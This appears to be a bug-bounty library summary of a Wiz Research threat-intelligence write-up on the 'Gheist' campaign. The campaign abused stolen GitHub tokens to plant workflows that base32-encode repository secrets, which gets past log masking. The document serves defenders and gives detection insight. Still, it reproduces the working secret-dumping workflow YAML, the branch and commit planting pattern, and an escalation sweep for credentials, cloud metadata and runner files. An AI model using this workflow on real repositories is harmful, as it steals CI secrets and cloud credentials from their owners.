# Gheist: Attempted Scaled Abuse of Stolen GitHub Tokens Stumbles

Gheist campaign abuses stolen GitHub tokens to plant sync-check workflows that base32-encode secrets into logs, exfiltrating them via GitHub's own API before deleting runs.

- Payout: Real-world hack
- Severity: high
- Program: GitHub
- Analysis by: Wiz Research
- Disclosed: 2026-10-25
- Write-up quality: 8/10
- Original: https://www.wiz.io/blog/gheist-attempted-scaled-abuse-of-stolen-github-tokens-stumbles
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-gheist-attempted-scaled-abuse-of-stolen-github-tokens-stumbles
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:internal-access kind:incident platform:threat-intel sev:high tech:aws tech:github-actions technique:source-review vuln:secrets-leak

**Target:** GitHub Actions workflows and repository secrets
**Root cause:** GitHub masks secrets in logs only on verbatim match, so base32-encoding the secrets context bypasses masking; permissions: {} does not restrict the secrets context, and environment-scoped secrets are dumped via a job matrix.
**Steps:**
1. Obtain a compromised GitHub token with repo write access.
2. Create branch `ci-sync-` plus six random chars.
3. Commit `.github/workflows/sync-check.yml` with message `ci: sync config`, containing `env | base32 -w 120` and `echo -n '${{ toJSON(secrets) }}' | base32 -w 120`.
4. Push triggers the workflow; secrets print base32-encoded, bypassing log masking.
5. Download the run log via GitHub API and delete the run seconds later (user agent `gheist`).
6. For repos with environments, list them in a job matrix with `environment: ${{ matrix.environment }}` to dump environment-scoped secrets.
**How found:** Wiz Research tracked the campaign from September 15, 2026, recovering 13,500+ planted branches across 850+ accounts; identified the base32 masking bypass and the private-repo/Enterprise gap where the public-repo approval hold does not apply, confirmed via GitHub audit logs and CloudTrail role assumptions.
**Exploitation:** Stolen tokens (from infostealer logs and prior supply-chain compromises like Trivy) push the workflow to every accessible repo; the run dumps base32-encoded secrets to its own log, which the tool retrieves through GitHub's API and deletes, leaving no attacker domain to block. In enterprise orgs, tokens cycled across users/automation accounts, private repos were cloned, and hours later cloud credentials enumerated AWS Secrets Manager.
**Escalation:** Tool B added a self-hosted job `sync-host` writing `.gdmp_pat`, `.gdmp_patg`, `.gdmp_sweep` to search for 31 token formats, private keys, .env, Terraform state, /proc/*/environ, Docker-socket host rootfs mount, AWS/GCP/Azure metadata, runner credential files and Kubernetes service account tokens.
**Insight:** Secret masking in CI logs is a verbatim string match — any encoding (base32/base64) of the secrets context defeats it, and `permissions: {}` does not gate the secrets context; also check environment-scoped secrets via job matrices and use cloud OIDC role-assumption subjects containing attacker branch names as a log-free detection signal.

## Proof of concept (copied exactly from the original report)

**Malicious sync-check workflow dumping secrets via base32**

```
name: sync-check
on: [push]
permissions: {}
jobs:
  sync:
    runs-on: ubuntu-latest
    timeout-minutes: 6
    steps:
      - name: build
        run: |
          env | base32 -w 120
          echo -n '${{ toJSON(secrets) }}' | base32 -w 120
```

**Branch naming and commit pattern for planting**

```
the tool creates a branch named ci-sync- plus six random characters, then commits .github/workflows/sync-check.yml with the message ci: sync config
```

**Self-hosted pivot helper files and markers**

```
It writes three helper files (.gdmp_pat, .gdmp_patg, .gdmp_sweep) and logs each stage under a ===== gdmp-pivot: <stage> ===== header
```

